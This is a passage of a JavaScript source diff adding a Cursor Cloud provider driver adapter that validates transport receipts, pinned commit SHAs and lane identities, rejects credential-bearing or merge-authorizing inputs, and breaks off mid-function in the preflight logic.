+// ProviderDriverV1. +// +// Additive v3 module. It owns ONLY the Cursor Cloud-specific binding of the +// accepted P17 envelope/capability contract onto an injected bounded Cursor +// SDK transport. Existing mcp/v3/cursor-cloud-worker.mjs is not modified: +// - provider slot is exactly `cursor-cloud`; every other provider fails +// closed with provider_slot_mismatch; +// - exact requested/effective model, provider repository identity, +// immutable starting SHA, ChildEnvelope text/digest, run/assignment/lane, +// stable request id, cloud agent id, provider run id, and branch identity +// are required on transport receipts; +// - preflight rejects dirty checkout, absent/credential-bearing/mutable +// repository identity, non-commit starting refs, base advancement, +// merge/create-PR/push authority, and ambiguous duplicate identities; +// - launch reports dispatched only after an authoritative SDK run identity +// (agent id + provider run id + request id). Any uncertainty after +// create/send intent is dispatch_uncertain and is never replayed or +// fallback-substituted; +// - reconcile restart reattaches by the exact recorded agent/run/request +// identity only; terminal verification requires provider-reported state +// plus independently verifiable Git/branch/base evidence and claims +// nothing the transport did not expose; +// - cancel targets only the exact recorded run and reports cancel/archive +// outcomes truthfully; terminal latches make later cancel already_terminal +// with no further transport; +// - same-session reply is unsupported_unresolved_attention, never a new run; +// - result/event/error data is bounded and content-free; hostile JSON, +// proxies, accessors, caps, secrets, and prompt text fail closed. +// +// Capability posture is honest: remote managed workspace starting at a pinned +// pushed SHA, exact-model selection only when attested, merge none, create PR +// prohibited, never_replay. This slice is not live-transport qualification. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + validateDriverCancelRequestV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverPreflightRequestV1, + validateDriverReconcileRequestV1, +} from './provider-driver.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; +import { + SHA40_PATTERN, + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, +} from './selection-json.mjs'; + +export const CURSOR_CLOUD_PROVIDER_SLOT = 'cursor-cloud'; +export const CURSOR_CLOUD_DRIVER_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-driver.v1'; +export const CURSOR_CLOUD_TRANSPORT_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-transport.v1'; +export const CURSOR_CLOUD_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-evidence.v1'; +export const CURSOR_CLOUD_CAPABILITY_REVISION = 'p21.cursor-cloud.1'; +export const CURSOR_CLOUD_DRIVER_VERSION = 1; + +export const CURSOR_CLOUD_TRANSPORT_OPERATIONS = capturedFreeze([ + 'preflight', 'create', 'send', 'observe', 'cancel', 'reattach', +]); + +export const CURSOR_CLOUD_AGENT_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const CURSOR_CLOUD_RUN_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const CURSOR_CLOUD_REQUEST_ID_PATTERN = /^ccr-[0-9a-f]{32}$/u; +export const CURSOR_CLOUD_BRANCH_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +export const CURSOR_CLOUD_REPO_IDENTITY_PATTERN = /^[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +export const CURSOR_CLOUD_REPO_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +export const CURSOR_CLOUD_CURSOR_PATTERN = /^[0-9]{1,16}$/u; + +export const MAX_CURSOR_CLOUD_EVENT_PAGE = 32; +export const MAX_CURSOR_CLOUD_EVENT_BYTES = 32 * 1024; +export const MAX_CURSOR_CLOUD_EVENT_COUNT = 1_000_000; +export const MAX_CURSOR_CLOUD_TIMING_MS = 86_400_000; +export const MAX_CURSOR_CLOUD_QUESTION_ID_BYTES = 80; + +export const CURSOR_CLOUD_OBSERVE_STATUSES = capturedFreeze([ + 'running', 'needs_attention', 'completed', 'failed', 'cancelled', 'lost', +]); +export const CURSOR_CLOUD_CANCEL_OUTCOMES = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +export const CURSOR_CLOUD_EVENT_KINDS = capturedFreeze([ + 'status', 'git', 'usage', 'attention', 'truncated', +]); + +const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const DETAIL_MESSAGE_MAX_BYTES = 512; + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const WEAK_MAP_CTOR = WeakMap; + +export const CURSOR_CLOUD_DETAIL_CODES = capturedFreeze([ + 'already_terminal', + 'archive_failed', + 'archive_confirmed', + 'base_advanced', + 'cancel_confirmed', + 'cancel_requested', + 'duplicate_identity', + 'live_progress', + 'model_unattested', + 'origin_missing', + 'preflight_blocked', + 'restart_evidence_absent', + 'starting_ref_invisible', + 'starting_ref_invalid', + 'terminal_evidence', + 'transport_unavailable', + 'unresolved_attention', + 'workspace_dirty', +]); + +const PREFLIGHT_RECEIPT_KEYS = capturedFreeze([ + 'ok', 'provider', 'model', 'requested_model', 'effective_model', + 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'repository_url', 'workspace_clean', + 'starting_ref_visible', 'starting_ref_commit', 'head_sha', 'duplicate_identities', + 'credential_bearing', 'auto_create_pr', 'detail_code', 'detail_message', +]); +const CREATE_RECEIPT_KEYS = capturedFreeze([ + 'created', 'agent_id', 'provider', 'model', 'run_id', 'assignment_id', + 'lane_index', 'base_sha', 'child_envelope_digest', 'starting_sha', + 'repository_identity', +]); +const SEND_RECEIPT_KEYS = capturedFreeze([ + 'acknowledged', 'agent_id', 'provider_run_id', 'request_id', 'branch', + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const OBSERVE_RECEIPT_KEYS = capturedFreeze([ + 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', 'model', + 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'status', 'head_sha', 'merge_base_sha', + 'linear_history', 'events', 'progress', 'attention', 'cursor', 'elapsed_ms', + 'event_count', +]); +const CANCEL_RECEIPT_KEYS = capturedFreeze([ + 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'provider', + 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const REATTACH_RECEIPT_KEYS = capturedFreeze([ + 'reattached', 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', + 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const PROGRESS_KEYS = capturedFreeze(['cursor', 'event_count', 'elapsed_ms', 'status']); +const ATTENTION_KEYS = capturedFreeze(['question_id']); +const EVENT_RECORD_KEYS = capturedFreeze(['bytes', 'kind']); +const EVIDENCE_QUERY_KEYS = capturedFreeze([ + 'run_id', 'assignment_id', 'child_envelope_digest', +]); +const IDENTITY_ECHO_KEYS = capturedFreeze([ + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', +]); +const CONTENT_FORBIDDEN_KEYS = capturedFreeze([ + 'allow_merge', 'api_key', 'authorization', 'create_pr', 'credential', + 'envelope_text', 'fallback', 'password', 'prompt', 'push', 'resend', + 'retry_dispatch', 'secret', 'token', +]); +const POST_INTENT_ERROR_CODES = capturedFreeze([ + 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', +]); +const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); +const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); +const TERMINAL_LATCH_STATES = capturedFreeze([ + 'terminal', 'cancel_confirmed', 'already_terminal', +]); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'created', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const BLOCKED_PREFLIGHT_CODES = capturedFreeze([ + 'base_advanced', 'model_unattested', 'origin_missing', 'preflight_blocked', + 'starting_ref_invisible', 'starting_ref_invalid', 'transport_unavailable', + 'workspace_dirty', +]); +const BLOCKED_PREFLIGHT_MESSAGES = capturedFreeze({ + base_advanced: 'pinned starting sha no longer matches workspace head', + model_unattested: 'requested model is not attested by the cloud transport', + origin_missing: 'provider repository identity is absent', + preflight_blocked: 'cursor cloud preflight is blocked; the lane fails closed', + starting_ref_invisible: 'starting sha is not provider-visible', + starting_ref_invalid: 'starting ref is not an immutable commit sha', + transport_unavailable: 'cursor cloud preflight failed before create intent', + workspace_dirty: 'workspace checkout is dirty', +}); + +const DRIVER_STORES = new WEAK_MAP_CTOR(); + +const CURSOR_CLOUD_NOTES = 'Cursor Cloud SDK remote managed workspace. Launch confirms only after an authoritative agent/run/request identity. Same-session reply is unsupported. Create PR and merge are prohibited. Process-local lane state only; no supervisor cutover or live-transport qualification.'; + +function truncateForMessage(value) { + const text = STRING(value); + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function laneKey(runId, assignmentId) { + return `${runId}\u0000${assignmentId}`; +} + +function storeFor(driver) { + const store = DRIVER_STORES.get(driver); + if (store === undefined) { + fail('invalid_surface', 'cursor_cloud_driver', + 'inspectCursorCloudLaneEvidenceV1 requires a driver created by this adapter.'); + } + return store; +} + +function cursorCloudCapabilityRecord() { + return { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: capturedFreeze([ + 'cloud_receipt', 'git_diff', 'provider_report', 'ref_snapshot', + ]), + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: CURSOR_CLOUD_NOTES, + provider: CURSOR_CLOUD_PROVIDER_SLOT, + replay_posture: 'never_replay', + revision: CURSOR_CLOUD_CAPABILITY_REVISION, + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }; +} + +export function cursorCloudDriverDeclarationV1() { + return validateDriverDeclarationV1({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: cursorCloudCapabilityRecord(), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }); +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +function assertDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } + return value; +} + +function assertCommitSha(value, path) { + if (typeof value !== 'string' || !capturedTest(SHA40_PATTERN, value)) { + fail('invalid_format', path, `${path} must be a lowercase 40-hex commit sha.`); + } + return value; +} + +function assertExactModel(value, path) { + if (!isModelId(value)) { + fail('invalid_exact_model_selection', path, + `${path} must be the exact selected Cursor Cloud model identifier.`); + } + return value; +} + +function assertRepositoryIdentity(value, path) { + if (typeof value !== 'string' || !capturedTest(CURSOR_CLOUD_REPO_IDENTITY_PATTERN, value) + || value.includes('@') || value.includes('://')) { + fail('invalid_format', path, + `${path} must be a credential-free immutable host/path repository identity.`); + } + return value; +} + +function assertRepositoryUrl(value, path) { + if (typeof value !== 'string' || !capturedTest(CURSOR_CLOUD_REPO_URL_PATTERN, value) + || value.includes('@') || value.includes('?') || value.includes('#')) { + fail('invalid_format', path, + `${path} must be a credential-free https repository url.`); + } + return value; +} + +function identityFromEnvelope(envelope, childEnvelopeDigest) { + const provider = envelope.execution.provider; + if (provider !== CURSOR_CLOUD_PROVIDER_SLOT) { + fail('provider_slot_mismatch', 'envelope.execution.provider', + `The Cursor Cloud adapter hard-binds provider "${CURSOR_CLOUD_PROVIDER_SLOT}"; received ` + + `"${truncateForMessage(provider)}".`); + } + const model = envelope.execution.model; + if (typeof model !== 'string' || model.length === 0) { + fail('invalid_exact_model_selection', 'envelope.execution.model', + 'The Cursor Cloud adapter requires the exact selected model; digest-or-profile-only launches are denied.'); + } + assertExactModel(model, 'envelope.execution.model'); + const startingSha = envelope.starting_ref; + if (typeof startingSha !== 'string' || !capturedTest(SHA40_PATTERN, startingSha)) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Cursor Cloud lanes pin one exact provider-visible starting SHA.'); + } + if (startingSha !== envelope.repository.base_sha) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Cursor Cloud starting SHA must equal the immutable run base SHA; base advancement is denied.'); + } + return capturedFreeze({ + provider: CURSOR_CLOUD_PROVIDER_SLOT, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + child_envelope_digest: childEnvelopeDigest, + starting_sha: startingSha, + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }); +} + +function assertReceiptIdentity(receipt, identity, path) { + for (const key of IDENTITY_ECHO_KEYS) { + if (!hasOwn(receipt, key)) { + fail('malformed_receipt', `${path}.${key}`, + `${path}.${key} must echo the exact Cursor Cloud lane identity.`); + } + const actual = optOwn(receipt, key); + const value = identity[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + } + } + if (hasOwn(receipt, 'starting_sha') && optOwn(receipt, 'starting_sha') !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Transport starting SHA does not match the immutable pinned commit.'); + } +} + +function assertClosedReceipt(receipt, allowedKeys, path) { + if (receipt === undefined || receipt === null) { + fail('malformed_receipt', path, `${path} must be a plain transport receipt.`); + } + assertDirectJsonClosure(receipt, path); + assertPlainObject(receipt, 'malformed_receipt', path, path); + assertAllowedKeys(receipt, allowedKeys, path); +} + +function assertNoContentKeys(value, path) { + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (capturedIncludes(CONTENT_FORBIDDEN_KEYS, key)) { + if (key === 'create_pr' || key === 'allow_merge' || key === 'push') { + fail('merge_authority_denied', `${path}.${key}`, + `${path}.${key} is prohibited; Cursor Cloud runs never create a PR, merge, or push.`); + } + if (key === 'fallback' || key === 'resend' || key === 'retry_dispatch') { + fail('replay_or_fallback_denied', `${path}.${key}`, + `${path}.${key} is forbidden; Cursor Cloud never replays or fallback-substitutes.`); + } + fail('content_key_denied', `${path}.${key}`, + `${path}.${key} is forbidden on Cursor Cloud transport messages.`); + } + } +} + +function boundedDiagnosticMessage(code, fallback) { + const text = typeof fallback === 'string' && fallback.length > 0 ? fallback : code; + if (capturedUtf8ByteLength(text) <= DETAIL_MESSAGE_MAX_BYTES) return text; + return text.slice(0, 64); +} + +function blockedPreflightDetail(code) { + const mapped = capturedIncludes(BLOCKED_PREFLIGHT_CODES, code) ? code : 'preflight_blocked'; + return capturedFreeze({ + detail_code: mapped, + detail_message: BLOCKED_PREFLIGHT_MESSAGES[mapped], + }); +} + +function driverResult(operation, identity, disposition, extras = {}) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + disposition, + }; + if (hasOwn(extras, 'detail_code')) result.detail_code = optOwn(extras, 'detail_code'); + if (hasOwn(extras, 'detail_message')) result.detail_message = optOwn(extras, 'detail_message'); + return freezeData(result); +} + +function transportIdentityRequest(identity, extras = {}) { + return detachFrozenJson({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + starting_sha: identity.starting_sha, + repository_path: identity.repository_path, + ...extras, + }); +} + +function bindRequestId(identity, agentId) { + const digest = identityBoundDigest(IDENTITY_LABELS.REQUEST_IDEMPOTENCY, { + agent_id: agentId, + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + model: identity.model, + provider: identity.provider, + run_id: identity.run_id, + starting_sha: identity.starting_sha, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, digest)) { + fail('invalid_format', 'send.request_id', 'Cursor Cloud request id binding must be a sha256 digest.'); + } + return `ccr-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +function proposedAgentId(identity) { + const digest = identityBoundDigest(IDENTITY_LABELS.PROVIDER_RUN_IDENTITY, { + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + provider: identity.provider, + run_id: identity.run_id, + starting_sha: identity.starting_sha, + }); + return `bc-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +export function assertCursorCloudTransportV1(transport) { + const path = 'cursor_cloud_transport'; + if (transport !== null && (typeof transport === 'object' || typeof transport === 'function') + && IS_PROXY(transport)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; the Cursor Cloud adapter accepts a concrete injected transport only.`); + } + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !capturedIsArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of the closed Cursor Cloud SDK transport operations.`); + } + const entries = assertJsonDataObject(transport, path); + const expected = new SET_CTOR(CURSOR_CLOUD_TRANSPORT_OPERATIONS); + if (entries.length !== CURSOR_CLOUD_TRANSPORT_OPERATIONS.length + || entries.some(({ key }) => !SET_HAS.call(expected, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(CURSOR_CLOUD_TRANSPORT_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete synchronous transport function.`); + } + } + return capturedFreeze({ + schema: CURSOR_CLOUD_TRANSPORT_SCHEMA_ID, + operations: capturedFreeze([...CURSOR_CLOUD_TRANSPORT_OPERATIONS]), + mode: 'injected_bounded_sdk_port', + }); +} + +function callTransport(store, operation, request) { + const handler = capturedDescriptor(store.handlers, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `cursor_cloud_transport.${operation}`, + `cursor_cloud_transport.${operation} must be a concrete function.`); + } + return handler.call(store.transport, request); +} + +function getLane(store, identity) { + return store.lanes.get(laneKey(identity.run_id, identity.assignment_id)); +} + +function putLane(store, identity, patch) { + const prior = getLane(store, identity) ?? capturedCreate(null); + const next = freezeData({ + ...prior, + ...patch, + identity, + }); + store.lanes.set(laneKey(identity.run_id, identity.assignment_id), next); + return next; +} + +function assertLaneIdentity(prior, identity, path) { + if (prior === undefined) return; + if (!digestsEqual(prior.identity.child_envelope_digest, identity.child_envelope_digest)) { + fail('stale_identity_denied', `${path}.child_envelope_digest`, + 'The request envelope digest does not match the exact Cursor Cloud child previously observed.'); + } + if (prior.identity.model !== identity.model) { + fail('stale_identity_denied', `${path}.model`, + 'The envelope model differs from the exact model recorded at Cursor Cloud preflight.'); + } + if (prior.identity.starting_sha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'The pinned starting SHA differs from the immutable SHA recorded at preflight.'); + } +} + +function laneMayHaveSent(record) { + return record !== undefined && ( + record.created === true + || record.dispatch_intent === true + || capturedIncludes(POSSIBLE_SEND_STATES, record.state) + ); +} + +function hasTerminalLatch(record) { + if (record === undefined) return false; + if (record.terminal_latch === true) return true; + if (capturedIncludes(TERMINAL_LATCH_STATES, record.state)) return true; + if (record.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, record.last_status)) { + return true; + } + return record.cancel_outcome !== undefined + && capturedIncludes(TERMINAL_CANCEL_OUTCOMES, record.cancel_outcome); +} + +function isPostIntentFailure(error) { + return error !== null && typeof error === 'object' + && typeof error.code === 'string' + && capturedIncludes(POST_INTENT_ERROR_CODES, error.code); +} + +function markUncertain(store, identity, extras = {}) { + putLane(store, identity, { + state: 'dispatch_uncertain', + model: identity.model, + agent_id: extras.agent_id, + provider_run_id: extras.provider_run_id, + request_id: extras.request_id, + branch: extras.branch, + repository_identity: extras.repository_identity, + created: true, + dispatch_intent: true, + }); + return driverResult('launch', identity, 'dispatch_uncertain'); +} + +function assertExactRunBinding(receipt, record, path) { + if (record.agent_id !== undefined) { + const agentId = assertPatternedId( + optOwn(receipt, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, `${path}.agent_id`, 'agent_id', + ); + if (agentId !== record.agent_id) { + fail('stale_identity_denied', `${path}.agent_id`, + 'Receipt agent_id must match the exact recorded Cursor Cloud agent.'); + } + } + if (record.provider_run_id !== undefined && hasOwn(receipt, 'provider_run_id')) { + const runId = assertPatternedId( + optOwn(receipt, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, `${path}.provider_run_id`, 'provider_run_id', + ); + if (runId !== record.provider_run_id) { + fail('stale_identity_denied', `${path}.provider_run_id`, + 'Receipt provider_run_id must match the exact recorded Cursor Cloud run.'); + } + } + if (record.request_id !== undefined && hasOwn(receipt, 'request_id')) { + const requestId = assertPatternedId( + optOwn(receipt, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, `${path}.request_id`, 'request_id', + ); + if (requestId !== record.request_id) { + fail('stale_identity_denied', `${path}.request_id`, + 'Receipt request_id must match the exact recorded Cursor Cloud request identity.'); + } + } +} + +function projectEvents(events, path) { + if (events === undefined) return capturedFreeze([]); + assertDenseJsonArray(events, path); + if (events.length > MAX_CURSOR_CLOUD_EVENT_PAGE) { + fail('invalid_format', path, + `${path} must contain at most ${MAX_CURSOR_CLOUD_EVENT_PAGE} event records.`); + } + const projected = []; + for (let index = 0; index < events.length; index += 1) { + const entryPath = `${path}[${index}]`; + const entry = events[index]; + assertDirectJsonClosure(entry, entryPath); + assertPlainObject(entry, 'malformed_receipt', entryPath, entryPath); + assertAllowedKeys(entry, EVENT_RECORD_KEYS, entryPath); + const kind = optOwn(entry, 'kind'); + if (!capturedIncludes(CURSOR_CLOUD_EVENT_KINDS, kind)) { + fail('invalid_format', `${entryPath}.kind`, + `${entryPath}.kind must be one of ${capturedJoin(CURSOR_CLOUD_EVENT_KINDS, ', ')}.`); + } + const bytes = optOwn(entry, 'bytes'); + if (!Number.isSafeInteger(bytes) || bytes < 0 || bytes > MAX_CURSOR_CLOUD_EVENT_BYTES) { + fail('invalid_format', `${entryPath}.bytes`, + `${entryPath}.bytes must be a bounded non-negative integer.`); + } + ARRAY_PUSH.call(projected, freezeData({ kind, bytes })); + } + return capturedFreeze(projected); +} + +function projectProgress(progress, path) { + if (progress === undefined) return undefined; + assertDirectJsonClosure(progress, path); + assertPlainObject(progress, 'malformed_receipt', path, path); + assertAllowedKeys(progress, PROGRESS_KEYS, path); + return detachFrozenJson(progress); +} + +function projectAttention(attention, path) { + if (attention === undefined) return undefined; + assertDirectJsonClosure(attention, path); + assertPlainObject(attention, 'malformed_receipt', path, path); + assertAllowedKeys(attention, ATTENTION_KEYS, path); + const questionId = optOwn(attention, 'question_id'); + assertBoundedText(questionId, { + min: 1, max: MAX_CURSOR_CLOUD_QUESTION_ID_BYTES, path: `${path}.question_id`, label: 'question_id', + }); + return freezeData({ question_id: questionId }); +} + +function projectGitEvidence(receipt, identity, path) { + const startingSha = hasOwn(receipt, 'starting_sha') + ? assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`) + : identity.starting_sha; + const evidence = { + starting_sha: startingSha, + }; + if (hasOwn(receipt, 'head_sha')) { + evidence.head_sha = assertCommitSha(optOwn(receipt, 'head_sha'), `${path}.head_sha`); + } + if (hasOwn(receipt, 'merge_base_sha')) { + evidence.merge_base_sha = assertCommitSha(optOwn(receipt, 'merge_base_sha'), `${path}.merge_base_sha`); + } + if (hasOwn(receipt, 'branch')) { + evidence.branch = assertPatternedId( + optOwn(receipt, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, `${path}.branch`, 'branch', + ); + } + if (hasOwn(receipt, 'linear_history')) { + const linear = optOwn(receipt, 'linear_history'); + if (linear !== true && linear !== false) { + fail('malformed_receipt', `${path}.linear_history`, + `${path}.linear_history must be an exact boolean when present.`); + } + evidence.linear_history = linear; + } + if (hasOwn(receipt, 'repository_identity')) { + evidence.repository_identity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ); + } + return freezeData(evidence); +} + +function requireTerminalGitEvidence(git, identity, path) { + if (git.head_sha === undefined || git.branch === undefined || git.merge_base_sha === undefined) { + fail('malformed_receipt', path, + 'Terminal Cursor Cloud evidence requires independently verifiable head, merge-base, and branch identity.'); + } + if (git.starting_sha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Terminal Git evidence starting SHA does not match the immutable pinned commit.'); + } + if (git.merge_base_sha !== identity.starting_sha && git.merge_base_sha !== git.head_sha) { + fail('stale_identity_denied', `${path}.merge_base_sha`, + 'Terminal merge-base must equal the pinned starting SHA or the observed head; the adapter claims no extra ancestry.'); + } +} + +function runPreflight(store, request) { + const view = validateDriverPreflightRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (laneMayHaveSent(prior)) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a Cursor Cloud prompt may have been dispatched; reconcile or cancel instead.'); + } + const probe = transportIdentityRequest(identity); + assertNoContentKeys(probe, 'cursor_cloud_transport.preflight.request'); + let receipt; + try { + receipt = callTransport(store, 'preflight', probe); + } catch (error) { + void error; + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('transport_unavailable')); + } + assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); + assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + if (optOwn(receipt, 'credential_bearing') === true) { + fail('repository_credentials', 'transport.preflight.result.credential_bearing', + 'Cursor Cloud repository identity must not carry credentials, query, or fragment data.'); + } + if (optOwn(receipt, 'duplicate_identities') === true) { + fail('duplicate_identity', 'transport.preflight.result.duplicate_identities', + 'Cursor Cloud preflight reported ambiguous duplicate agent or run identities.'); + } + if (optOwn(receipt, 'auto_create_pr') === true) { + fail('merge_authority_denied', 'transport.preflight.result.auto_create_pr', + 'Cursor Cloud preflight must not authorize automatic PR creation.'); + } + const ok = optOwn(receipt, 'ok'); + if (ok === true) { + if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { + fail('detail_pair_denied', 'transport.preflight.result.detail_code', + 'A ready Cursor Cloud preflight receipt must not carry a detail pair.'); + } + const requested = assertExactModel( + optOwn(receipt, 'requested_model'), 'transport.preflight.result.requested_model', + ); + const effective = assertExactModel( + optOwn(receipt, 'effective_model'), 'transport.preflight.result.effective_model', + ); + if (requested !== identity.model || effective !== 